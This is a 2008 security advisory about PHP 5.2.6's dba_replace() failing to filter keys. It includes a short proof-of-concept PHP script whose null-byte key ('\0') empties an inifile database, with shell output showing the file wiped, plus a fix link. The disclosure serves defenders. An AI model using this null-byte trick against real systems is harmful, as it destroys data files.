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 Advisory Text : -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ SecurityReason.com PHP 5.2.6 dba_replace() destroying file ] Author: Maksymilian Arciemowicz http://securityreason.com Date: - - Written: 10.11.2008 - - Public: 28.11.2008 SecurityReason Research SecurityAlert Id: 58 SecurityRisk: Medium Affected Software: PHP 5.2.6 Advisory URL: http://securityreason.com/achievement_securityalert/58 Vendor: http://www.php.net - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. NOTE: These functions build the foundation for accessing Berkeley DB style databases. dba_replace - Replace or insert entry - --- 1. dba_replace() destroying file --- Function dba_replace() are not filtring strings key and value. There is a possibility the destruction of the file. # cat /www/dba.hack.php <?php $source=dba_open("/www/about.ini", "wlt", "inifile"); dba_replace("HOME","/www/",$source); ?> # cat /www/about.ini PATH=/ CURR=. HOME=/home/ # php /www/dba.hack.php # cat /www/about.ini PATH=/ CURR=. HOME=/www/ # Well. But, lets try use # cat /www/dba.ham.php <?php $source=dba_open("/www/about.ini", "wlt", "inifile"); dba_replace("\0","/www/",$source); ?> # php /www/dba.ham.php # cat /www/about.ini # Now /www/about.ini, is emtpy. - --- 2. How to fix --- Fixed in CVS http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1313&r2=1.2027 .2.547.2.1314& - --- 3. Greets --- sp3x p_e_a Infospec schain - --- 4. Contact --- Author: SecurityReason [ Maksymilian Arciemowicz ] Email: cxib [ a t] securityreason [d ot ] com GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg http://securityreason.com http://securityreason.pl -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (OpenBSD) iEYEARECAAYFAkkvKDcACgkQpiCeOKaYa9aRUgCgmsbU4uKeq1E+/yyIlQas9V14 e2MAoJobXQNRD8BNiDsHQYSNdOxIyQRc =Tb8r -----END PGP SIGNATURE----- |
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CVE : 
(
- 2009-10-02